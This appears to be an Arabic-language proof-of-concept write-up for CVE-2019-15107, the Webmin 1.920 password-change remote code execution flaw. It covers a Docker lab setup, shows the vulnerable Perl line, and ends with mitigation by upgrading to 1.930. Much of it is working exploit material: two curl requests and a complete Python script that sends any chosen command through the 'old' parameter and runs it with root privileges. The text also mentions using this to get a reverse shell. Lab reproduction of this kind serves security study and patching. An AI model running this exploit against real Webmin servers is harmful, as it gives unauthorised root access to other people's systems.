
PoC exploit لـ CVE-2019-15107، وهي ثغرة تنفيذ تعليمات برمجية عن بُعد في Webmin 1.920 والإصدارات الأقدم. يتضمن إعداد مختبر قائم على Docker، ونصوص استغلالية بلغة curl وPython، وإرشادات التخفيف.
[CVE-2019-15107] هي ثغرة تظهر في أداة إدارة الأنظمة المستندة إلى الويب Webmin والمستخدمة في أنظمة Unix. في إحدى وظائف هذه الأداة، وهي تغيير كلمة المرور، يتم تمرير معامل معين إلى أوامر الصدفة مباشرة دون تصفية، مما يسمح بتنفيذ أكواد عشوائية (Remote Code Execution, RCE).
عند استخدام الإصدار 1.920 من Webmin أو إصدار أقدم منه، تم اكتشاف الثغرة في ملف password_change.cgi المسؤول عن تغيير كلمة المرور. وقد نشأت الثغرة نتيجة لحقن برنامج ضار أثناء توزيع Webmin عبر SourceForge.
في هذا الاستنساخ، نستخدم الإصدار 1.910 من Webmin كما هو مستخدم في vulhub. كما يجب بناء البيئة بحيث تكون passwd_mode=2، لأن تغيير كلمة المرور يكون نشطًا فقط في هذه الحالة.
مع ملف الإصدار الجاهز webmin_1.910_all.deb، قم بإدخال الأمر التالي لتهيئة البيئة الضعيفة:
docker compose up -d
تم إعادة تشكيل ملفي
Dockerfileو وفقًا للتنسيق الذي أعدته vulhub مسبقًا، وتكييفه مع الملفات المحلية.
docker-entrypoint.shيتطلب تغيير كلمة المرور معاملات مألوفة مثل user و old و new1 و new2. وقد تم إدراج كود يقوم بتنفيذ قيمة المعامل old.
فيما يلي جزء من ملف password_change.cgi للإصدار 1.910. السطر qx/$in{'old'}/ هو الكود الذي ينفذ قيمة old كما ذكرنا. من خلال التحكم في هذه القيمة، يمكن تحقيق تنفيذ أكواد عشوائية.
user@user:~/Documents/vulhub/webmin/CVE-2019-15107$ cat password_change.cgi | grep -C5 "\$in{'old'}"
die "Missing password file configuration";
}
if ($wuser) {
# Update Webmin user's password
$enc = &acl::encrypt_password($in{'old'}, $wuser->{'pass'});
$enc eq $wuser->{'pass'} || &pass_error($text{'password_eold'},qx/$in{'old'}/);
$perr = &acl::check_password_restrictions($in{'user'}, $in{'new1'});
$perr && &pass_error(&text('password_enewpass', $perr));
$wuser->{'pass'} = &acl::encrypt_password($in{'new1'});
$wuser->{'temppass'} = 0;
&acl::modify_user($wuser->{'name'}, $wuser);
يمكن استنساخ الثغرة عن طريق الوصول إلى password_change.cgi في Webmin وإرسال طلب مع التلاعب بالمتغير old.
يمكن استخدام أي وسيلة لإرسال الطلب إلى password_change.cgi، سواء باستخدام curl أو بايثون. في الأمثلة الثلاثة، تم إدخال الأمر id في المعامل old بهدف طباعة uid.
curl -k -X POST https://your-ip:10000/password_change.cgi -d "user=nonexistent&pam=&expired=2&old=**id**&new1=test&new2=test" -H "Referer: https://your-ip:10000/session_login.cgi"
curl -k "https://your-ip:10000/password_change.cgi?user=rootxx&pam=&expired=2&old=id&new1=test&new2=test" -H "Referer: https://your-ip:10000/session_login.cgi"
import requests
import sys
import argparse
def exploit_webmin(target, command):
url = f"https://{target}/password_change.cgi"
# تجاهل شهادة HTTPS
requests.packages.urllib3.disable_warnings()
# حمولة CVE-2019-15107
# إدخال الأمر في المعامل old
data = {
'user': 'rootxx',
'pam': '',
'expired': '2',
'old': command, # الأمر
'new1': 'test2',
'new2': 'test2'
}
headers = {
'Referer': f'https://{target}/session_login.cgi',
}
try:
response = requests.post(
url,
data=data,
headers=headers,
verify=False,
timeout=5
)
if response.status_code == 200:
print("[+] تم إرسال الاستغلال!")
print("[+] الرد:")
print(response.text)
return True
else:
print(f"[-] رمز الحالة: {response.status_code}")
return False
except Exception as e:
print(f"[-] خطأ: {e}")
return False
if __name__ == "__main__":
parser = argparse.ArgumentParser(description='CVE-2019-15107 Webmin RCE PoC')
parser.add_argument('-t', '--target', required=True, help='الهدف IP:port (مثال: 127.0.0.1:10000)')
parser.add_argument('-c', '--command', default='id', help='الأمر المراد تنفيذه (الافتراضي: id)')
args = parser.parse_args()
print(f"[*] استغلال Webmin على {args.target}")
print(f"[*] الأمر: {args.command}")
exploit_webmin(args.target, args.command)
يمكن تشغيله كما يلي:
python3 PoC.py -t your-ip:10000 -c "id"

بهذه الطريقة، عند إدخال الأمر المراد في المعامل old، يتم تنفيذ الأمر مباشرة. من النتيجة نرى أن uid جميعها 0، مما يعني تنفيذها بصلاحيات الجذر (root).
أي أن هذه الثغرة [CVE-2019-15107] تسمح بتنفيذ RCE بصلاحيات الجذر.
علاوة على ذلك، إذا تم إعداد reverse shell بشكل منفصل، يمكن الحصول على شل الخادم عن طريق الاتصال بالـ reverse shell.
بعد الانتهاء من استنساخ الثغرة، يمكن إيقاف الخدمة باستخدام الأمر التالي:
docker compose down
أبسط طريقة هي تحديث Webmin.
في الإصدار 1.930، تم تغيير الكود بحذف الجزء الذي ينفذ قيمة old مباشرة.
if ($wuser) {
# Update Webmin user's password
$enc = &acl::encrypt_password($in{'old'}, $wuser->{'pass'});
$enc eq $wuser->{'pass'} || &pass_error($text{'password_eold'});
$perr = &acl::check_password_restrictions($in{'user'}, $in{'new1'});
$perr && &pass_error(&text('password_enewpass', $perr));
$wuser->{'pass'} = &acl::encrypt_password($in{'new1'});
$wuser->{'temppass'} = 0;
&acl::modify_user($wuser->{'name'}, $wuser);
&reload_miniserv();
}
إذا كان الجزء المنفذ للكود ضروريًا، يمكن حله عن طريق إضافة كود للتحقق من الإدخال old.